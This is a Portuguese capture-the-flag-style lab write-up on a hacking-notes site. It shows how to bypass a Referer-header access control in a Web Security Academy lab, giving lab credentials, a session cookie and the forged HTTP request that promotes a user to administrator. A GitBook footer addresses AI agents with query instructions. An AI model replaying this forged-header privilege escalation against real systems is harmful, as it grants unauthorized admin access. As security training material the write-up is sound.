> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/access-control/access-control-based-on-the-referer-header.md).

# Controle de Acesso Baseado no Cabeçalho Referer

### Controle de acesso baseado em Referer

Este laboratório aplica um controle de acesso às funcionalidades de administração com base no cabeçalho **Referer**. / Você pode primeiro explorar o painel de administração conectando-se com **administrator:admin** credenciais.

Para solucionar o laboratório, você precisa fazer login com o usuário **wiener:peter** e usar a validação incorreta do Referer para obter um cargo de administrador.

#### **1. Contexto**

* Cookie de sessão para *wiener*

```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

* Ao tentar alterar funções sem um cabeçalho adicional, o aplicativo recusa o acesso:

```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

<figure><img src="/files/3e368732f89e1985763fe6fc71e16f2a8467dca0" alt=""><figcaption></figcaption></figure>

A resposta indica que o usuário não tem os direitos necessários.

#### **2. Contornando a verificação de Referer**

Se alguém adicionar um cabeçalho **Referer** apontando para uma página de admin legítima, o aplicativo aceita a operação

```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```

Com esse cabeçalho adicionado, a promoção de wiener se torna possível e o acesso de administrador é obtido.

<figure><img src="/files/28462f8f6ef4023fbbfc51df74bab1bcbb43e4f3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/access-control/access-control-based-on-the-referer-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
